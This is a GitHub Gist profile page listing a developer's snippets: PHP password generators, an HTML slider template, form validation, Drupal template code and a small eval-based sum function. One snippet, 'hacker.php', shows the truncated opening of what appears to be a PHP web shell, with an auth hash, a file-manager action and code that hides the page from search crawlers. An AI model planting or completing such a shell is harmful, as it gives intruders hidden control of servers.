Skip to content

Instantly share code, notes, and snippets.

View rcstr's full-sized avatar
:shipit:
Engineering

Rommel Castro rcstr

:shipit:
Engineering
View GitHub Profile
@rcstr
rcstr / password.php
Created October 25, 2011 21:24
This file generate the username and password for p0rn sites
<?php
function generatePassword($length=8, $strength=0) {
$vowels = 'aeuy';
$consonants = 'bdghjmnpqrstvz';
if ($strength & 1) {
$consonants .= 'BDGHJLMNPQRSTVWXZ';
}
if ($strength & 2) {
$vowels .= "AEUY";
@rcstr
rcstr / index.html
Created May 10, 2012 02:09
estructura definida
<ul class="slides">
<li>
<img src="assets/img/slide1.jpg" />
<div class="flex-caption">
<h3>Valera - Responsive template!</h3>
<p>Powerful site template designed in a clean and minimalistic style. <br><br><a class="btn btn-success btn-small" style="margin-right:10%" href="http://themeforest.net/item/valera-responsive-html-template/2194402?ref=OrangeIdea"><i class="icon-download-alt icon-white"></i> Purchase for 15$</a></p>
</div>
</li>
<li>
<img src="assets/img/slide1-1.jpg" />
@rcstr
rcstr / pspsw.php
Created June 4, 2012 15:13
PrestaShop 1.3 password generator
<?php
define('_PS_MYSQL_REAL_ESCAPE_STRING_', function_exists('mysql_real_escape_string'));
define('_PS_MAGIC_QUOTES_GPC_', get_magic_quotes_gpc());
/**
* Convert \n to
* @param string $string String to transform
* @return string New string
@rcstr
rcstr / script.js
Created November 30, 2012 14:07
setCustomValidity example
passwordVerifyInput.change(function () {
if (passwordVerifyInput.val() == passwordInput.val()) {
passwordVerifyInput[0].setCustomValidity('');
} else {
passwordVerifyInput[0].setCustomValidity('Passwords Do Not Match');
}
});
@rcstr
rcstr / template.php
Created December 6, 2012 04:53
add class to region D7
if($vars['region'] != 'hireme')
{
$vars['classes_array'][] = 'one_panel';
}
<?php if ($content): ?>
<div id="<?php print $id ?>" class="<?php print $classes; ?>">
<?php print $content; ?>
</div>
<?php endif; ?>
@rcstr
rcstr / hacker.php
Last active December 17, 2015 09:59 — forked from anonymous/hacker
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@rcstr
rcstr / plugins.js
Created June 4, 2013 16:00
popoup.js
window.uknowGeofence = function() {
newwindow = window.open('/app2/webservice/api/v1/pages/map/geofence/','Geofence','height='+screen.availHeight+',width='+screen.availWidth);
if (window.focus) {newwindow.focus();}
return false;
};
@rcstr
rcstr / index.php
Last active December 19, 2015 01:58
<?php
if(isset($_GET['item']) && trim($_GET['item']) != '') {
// realizo funciones para mostrar el elemento/item
} else {
// muestro el contenido de el index
}
function sumNumber(numberToSum) {
var numbers = [];
for(var i = 0; i<numberToSum; i++) {
numbers.push(i+1);
}
return eval(numbers.join('+'));
}